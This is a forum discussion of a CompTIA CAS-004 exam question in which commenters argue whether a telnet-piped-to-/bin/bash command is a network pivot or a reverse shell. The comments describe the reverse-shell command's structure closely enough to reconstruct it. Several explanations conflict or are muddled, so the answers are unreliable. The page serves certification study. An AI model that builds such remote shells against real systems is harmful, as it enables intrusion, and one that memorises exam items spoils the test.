Exam CAS-004 topic 1 question 253 discussion

Has anyone actually tried on the VM Kali/Metasploitable2 whether this actually works? There might be something wrong with the syntax but there are no sensible answers.

Ans B. What is a network pivot? A network pivot allows an attacker to use a compromised host to access or interact with other network resources that are otherwise inaccessible from the attacker's starting point (like from the outside network). This command suggests that the tester is trying to use the compromised machine at 192.168.99.254 as a middle point to connect to other internal resources via port 344. This would be a classic pivoting attack where the attacker leverages an internal machine to traverse the network, bypassing firewalls or other security controls.

C. reverse shell. The command provided is attempting to establish a reverse shell connection. A reverse shell is a technique used in penetration testing where the attacker's machine connects back to a compromised target machine, allowing the attacker to gain remote access and control over the target. In this case, the command is using the telnet utility to establish two connections. The first connection (telnet 192.168.99.254 343) is intended to execute the /bin/bash command on the target machine, which could potentially provide a shell session on port 343. The output of this command is then piped (|) to another telnet connection (telnet 192.168.99.254 344), which may establish a reverse shell connection back to the penetration tester's machine on port 344. By executing this command, the penetration tester is attempting to create a reverse shell connection from the target machine to their machine, enabling remote access and control over the compromised system.

The command creates a connection to the remote host 192.168.99.254 on port 343, runs the command /bin/bash, and pipes the output to another connection to the same host on port 344. This creates a reverse shell connection from the remote host to the attacker's machine, allowing the attacker to execute commands on the remote host from their own system.

Sorry. C reverse shell

telnet reverse shell https://www.oreilly.com/library/view/hands-on-red-team/9781788995238/d2e61289-a76a-4d8c-b157-3e6be62eb510.xhtml

Exactly B